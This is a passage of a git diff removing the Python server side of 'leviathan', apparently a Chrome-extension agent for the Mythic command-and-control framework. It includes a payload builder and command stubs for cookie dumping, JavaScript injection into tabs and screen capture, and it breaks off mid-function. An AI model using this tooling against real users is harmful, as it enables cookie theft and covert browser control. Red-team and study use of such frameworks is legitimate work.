- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/MythicResponseRPC.py b/Payload_Types/leviathan/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Payload_Types/leviathan/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/MythicSocksRPC.py b/Payload_Types/leviathan/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Payload_Types/leviathan/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/PayloadBuilder.py b/Payload_Types/leviathan/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Payload_Types/leviathan/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Payload_Types/leviathan/mythic/__init__.py b/Payload_Types/leviathan/mythic/__init__.py
deleted file mode 100644
index e69de29bb..000000000
diff --git a/Payload_Types/leviathan/mythic/agent_functions/__init__.py b/Payload_Types/leviathan/mythic/agent_functions/__init__.py
deleted file mode 100644
index e69de29bb..000000000
diff --git a/Payload_Types/leviathan/mythic/agent_functions/builder.py b/Payload_Types/leviathan/mythic/agent_functions/builder.py
deleted file mode 100644
index 846ee14ea..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/builder.py
+++ /dev/null
@@ -1,131 +0,0 @@
-from PayloadBuilder import *
-import uuid
-import asyncio
-import os
-from distutils.dir_util import copy_tree
-import tempfile
-import shutil
-
-
-class Leviathan(PayloadType):
-
- name = "leviathan"
- file_extension = "zip"
- author = "@xorrior"
- supported_os = [SupportedOS.Chrome]
- wrapper = False
- wrapped_payloads = []
- note = "This payload uses javascript, html, and CSS for execution in the context of a browser via a Chrome Browser extension"
- supports_dynamic_loading = True
- build_parameters = {
- "name": BuildParameter(
- name="name",
- parameter_type=BuildParameterType.String,
- description="Name of your extension",
- default_value="example",
- required=False,
- ),
- "update_url": BuildParameter(
- name="update_url",
- parameter_type=BuildParameterType.String,
- description="The url that hosts the update manifest file (xml)",
- default_value="http://www.example.com/update.xml",
- ),
- "url": BuildParameter(
- name="url",
- parameter_type=BuildParameterType.String,
- description="The home page url for your extension. This will be used as the default location for when a user clicks on your extension icon in the toolbar",
- default_value="http://www.example.com",
- ),
- "version": BuildParameter(
- name="version",
- parameter_type=BuildParameterType.String,
- description="The version for your extension",
- default_value="1.0",
- ),
- }
- c2_profiles = ["leviathan-websocket"]
-
- async def build(self) -> BuildResponse:
- # this function gets called to create an instance of your payload
- resp = BuildResponse(status=BuildStatus.Error)
- # create the payload
- stdout_err = ""
- try:
- agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
- # shutil to copy payload files over
- copy_tree(self.agent_code_path, agent_build_path.name)
- command_code = ""
- for cmd in self.commands.get_commands():
- command_code += (
- open(
- "{}/commands/{}.js".format(agent_build_path.name, cmd), "r"
- ).read()
- + "\n"
- )
- file1 = open(
- "{}/chrome-extension.js".format(agent_build_path.name), "r"
- ).read()
- file1 = file1.replace("UUID_HERE", self.uuid)
- file1 = file1.replace("COMMANDS_HERE", command_code)
- all_c2_code = ""
- for c2 in self.c2info:
- profile = c2.get_c2profile()
- c2_code = open(
- "{}/c2/{}.js".format(agent_build_path.name, profile["name"]), "r"
- ).read()
- for key, val in c2.get_parameters_dict().items():
- c2_code = c2_code.replace(key, val)
- all_c2_code += c2_code
- file1 = file1.replace("C2PROFILE_HERE", all_c2_code)
- with open("{}/extension/main.js".format(agent_build_path.name), "w") as f:
- f.write(file1)
- file = open("{}/manifest.json".format(agent_build_path.name), "r").read()
- file = file.replace("EXTENSION_NAME_REPLACE", self.get_parameter("name"))
- file = file.replace("DESCRIPTION_REPLACE", self.get_parameter("name"))
- file = file.replace(
- "http://www.example.com/debugextension", self.get_parameter("url")
- )
- file = file.replace(
- "http://www.example.com/update.xml", self.get_parameter("update_url")
- )
- file = file.replace("VERSION_REPLACE", self.get_parameter("version"))
- with open(
- "{}/extension/manifest.json".format(agent_build_path.name), "w"
- ) as f:
- f.write(file)
- command = "python /CRX3-Creator/main.py {}/extension".format(
- agent_build_path.name
- )
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path.name,
- )
- stdout, stderr = await proc.communicate()
- stdout_err = ""
- if stdout:
- stdout_err += f"[stdout]\n{stdout.decode()}\n"
- if stderr:
- stdout_err += f"[stderr]\n{stderr.decode()}"
- if os.path.exists("{}/extension.crx".format(agent_build_path.name)):
- temp_uuid = str(uuid.uuid4())
- shutil.make_archive(
- "{}/{}".format(agent_build_path.name, temp_uuid),
- "zip",
- "{}".format(agent_build_path.name),
- )
- resp.payload = open(
- "{}/{}.zip".format(agent_build_path.name, temp_uuid), "rb"
- ).read()
- resp.status = BuildStatus.Success
- resp.message = "created zip of chrome extension files"
- else:
- # something went wrong, return our errors
- resp.set_status(BuildStatus.Error)
- resp.set_message(stdout_err)
- except Exception as e:
- resp.set_status(BuildStatus.Error)
- resp.message = "Error building payload: " + str(e) + "\n" + stdout_err
- return resp
diff --git a/Payload_Types/leviathan/mythic/agent_functions/cookiedump.py b/Payload_Types/leviathan/mythic/agent_functions/cookiedump.py
deleted file mode 100644
index 80ebfba0e..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/cookiedump.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CookieDumpArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class CookieDumpCommand(CommandBase):
- cmd = "cookiedump"
- needs_admin = False
- help_cmd = "cookiedump"
- description = "Dump all cookies from the currently selected cookie jar"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = CookieDumpArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/exit.py b/Payload_Types/leviathan/mythic/agent_functions/exit.py
deleted file mode 100644
index 450de446c..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/exit.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ExitArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ExitCommand(CommandBase):
- cmd = "exit"
- needs_admin = False
- help_cmd = "exit"
- description = "Exit the extension"
- version = 1
- is_exit = True
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ExitArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/inject.py b/Payload_Types/leviathan/mythic/agent_functions/inject.py
deleted file mode 100644
index 796c11226..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/inject.py
+++ /dev/null
@@ -1,42 +0,0 @@
-from CommandBase import *
-import json
-
-
-class InjectArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "tabid": CommandParameter(name="tabid", type=ParameterType.Number),
- "javascript": CommandParameter(
- name="javascript",
- type=ParameterType.String,
- description="Base64 encoded javascript",
- required=False,
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class InjectCommand(CommandBase):
- cmd = "inject"
- needs_admin = False
- help_cmd = 'inject {"tabid":0,"javascript":"base64 encoded javascript"}'
- description = "Inject arbitrary javascript into a browser tab"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = InjectArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/load.py b/Payload_Types/leviathan/mythic/agent_functions/load.py
deleted file mode 100644
index 5b81ac94a..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/load.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class LoadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class LoadCommand(CommandBase):
- cmd = "load"
- needs_admin = False
- help_cmd = "load [command_name]"
- description = "Load a command into the extension"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = LoadArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/screencapture.py b/Payload_Types/leviathan/mythic/agent_functions/screencapture.py
deleted file mode 100644
index 2cb4f4163..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/screencapture.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ScreencaptureArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ScreencaptureCommand(CommandBase):
- cmd = "screencapture"
- needs_admin = False
- help_cmd = "screencapture"
- description = "Capture a screenshot of the active tab"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ScreencaptureArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/sleep.py b/Payload_Types/leviathan/mythic/agent_functions/sleep.py
deleted file mode 100644
index d8593649e..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/sleep.py
+++ /dev/null
@@ -1,40 +0,0 @@
-from CommandBase import *
-import json
-
-
-class SleepArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "sleep": CommandParameter(
- name="sleep",
- type=ParameterType.Number,
- description="Adjust the callback interval in seconds",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class SleepCommand(CommandBase):
- cmd = "sleep"
- needs_admin = False
- help_cmd = 'sleep {"sleep":10}'
- description = "Change the sleep interval for an agent"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = SleepArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/tabs.py b/Payload_Types/leviathan/mythic/agent_functions/tabs.py
deleted file mode 100644
index 19033e9bc..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/tabs.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class TabsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class TabsCommand(CommandBase):
- cmd = "tabs"
- needs_admin = False
- help_cmd = "tabs"
- description = "Retrieve information about all open tabs in the current window"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = TabsArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/agent_functions/userinfo.py b/Payload_Types/leviathan/mythic/agent_functions/userinfo.py
deleted file mode 100644
index d5e6cffd9..000000000
--- a/Payload_Types/leviathan/mythic/agent_functions/userinfo.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class UserInfoArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class UserInfoCommand(CommandBase):
- cmd = "userinfo"
- needs_admin = False
- help_cmd = "userinfo"
- description = "Retrieve user information about the current user"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = UserInfoArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/leviathan/mythic/generate_docs_from_container.py b/Payload_Types/leviathan/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Payload_Types/leviathan/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Payload_Types/leviathan/mythic/mythic_service.py b/Payload_Types/leviathan/mythic/mythic_service.py
deleted file mode 100755
index 8c4ee8460..000000000
--- a/Payload_Types/leviathan/mythic/mythic_service.py
+++ /dev/null
@@ -1,308 +0,0 @@
-#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
